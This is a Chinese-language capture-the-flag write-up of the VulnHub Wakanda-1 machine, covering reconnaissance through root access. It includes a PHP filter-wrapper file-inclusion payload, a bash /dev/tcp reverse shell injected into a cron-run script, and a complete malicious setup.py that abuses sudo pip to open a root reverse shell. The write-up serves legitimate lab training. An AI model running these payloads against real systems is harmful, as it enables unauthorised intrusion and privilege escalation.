目录
0x01靶机信息
0x02信息搜集
1.主机信息扫描
2.HTTP信息搜集
0X03 getFlag-1
0x03-1
0x03-2
0x04 getFlag-2
0x04-1
0x04-2
0x05 getFlag-3
0x05-1
0x05-2
0x06 总结
靶机名称:Wakanda-1
下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova
操作系统:debian
渗透目标:获取root权限,取得三个flag
本地虚拟机搭建完环境后无法获悉靶机地址,需要使用主机探测工具扫描一下ip,这里使用nmap,命令如下。
nmap -sP 192.168.0.1/24
通过扫描,我们获悉到目标ip为192.168.0.104,继续扫描一下目标开启的端口和服务。
nmap -sV -v 192.168.0.104
扫描结果如下
我们可以看到目标主机在80端口开启了http服务,在3333端口开启了ssh服务,且ssh版本为openssh6.7,之前了解到openssh7.7之前的版本中存在用户名枚举漏洞。
浏览器访问192.168.0.104的http页面,Vibranium Market,emm……英语渣的我直接打开百度翻译,百度翻译结果是振荡器交易市场。。。联系靶机的名字“wakanda”,推测正确的翻译应该是“振金市场”。吼吼,黑进去是不是也可以给自己打造一身黑豹战甲了(滑稽)。
经过测试,web主页没有有效入口,查看一下源码,同时扫描一下目录。我们在源码的29行的注释处发现了有用信息,通过传参?lang=fr,发现网页文本被修改为法语,推测此处存在文件包含。
目录扫描完毕,逐一访问后发现大多为空页,大概是作者打的烟雾弹
SSH信息搜集,用MSF的模块尝试枚举一下ssh用户名,只找到了root一个有效用户
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhost 192.168.0.104
rhost => 192.168.0.105
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rport 3333
rport => 3333
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set threads 20
threads => 20
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/wordlists/wfuzz/general/big.txt
user_file => /usr/share/wordlists/wfuzz/general/big.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
首先利用一下刚才发现的文件包含,传参?lang=php://file/read=convert.base64-encode/resource=index,解码后获得源码。
审计源码发现主页所有链接均为空链接,有趣的是在第一行发现了参数 password,推测是数据库或者是ssh的密码。
使用拿到的密码尝试使用root用户连接靶机没有成功,这下就找不到任何切入点了。我在这里卡了很长时间,尝试过许多乱七八糟的方法。一筹莫展之际,瞥见网页底部的类似版权信息“made by@mamadou”,尝试当用户名连接一下,成功……
连接上之后回弹的是一个python shell,功能有限而且只能执行python代码非常讨厌,我们利用python shell再开启一个bash shell
import os
os.system("/bin/bash")
查看一下目录,获得第一个flag
尝试写shell,无权限,进而查看当前用户的sudo权限,结果不出所料,无sudo权限。
查看一下系统版本和内核,寻找一下有无可利用漏洞。
msf打开搜到不少,但似乎没有特别合适的模块,浏览器搜索linux版本和内核版本,也未找到合适的exp。这时考虑查看一下有无其他高权限用户,打开passwd文件,发现另一个用户devops。
搜索一下该用户所属的文件,其中.antivirus.py只有一行内容,即向/tmp/test中写入一行,产看权限后发现该文件可以被任意用户修改,但无执行权限,应该是有其他进程在调用这段代码。
open('/tmp/test','w').write('test')
仔细观察后发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断调用.antivirus.py
于是尝试将.antivirus.py的内容修改为如下内容
f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)
几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag
在之前的基础上,进一步以devops用户身份创建一个shell,开启监听端口,.antivirus.py内容改为
import os
os.system("echo 'bash -i >& /dev/tcp/192.168.0.107/6767 0>&1'|bash")
几分钟后目标向我们反弹回一个shell
查看devops用户的sudo权限,发现pip可执行
关于pip恶意利用,参考https://www.root4loot.com/post/pip-install-privilege-escalation/
创建一个恶意setup.py并上传到tmp目录
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.0.107'
reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='[email protected]',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
攻击机开启nc监听端口,控制靶机执行
sudo -H /usr/bin/pip install . --upgrade --force-reinstall
随即获得一个新的反弹shell,可以看到此时已经是root权限
最后一个flag也很好找,就在根目录下的root.txt文件中
这台靶机对我来说难度还是比较大的,首先web的切入点过少,对于一个技能树偏重web的弟弟来说前期思路真是一点都没有,不得不去网上参看其他师傅的wp,后期工作比较顺利,也学到了pip的利用方法,总体来说收益还是蛮大的!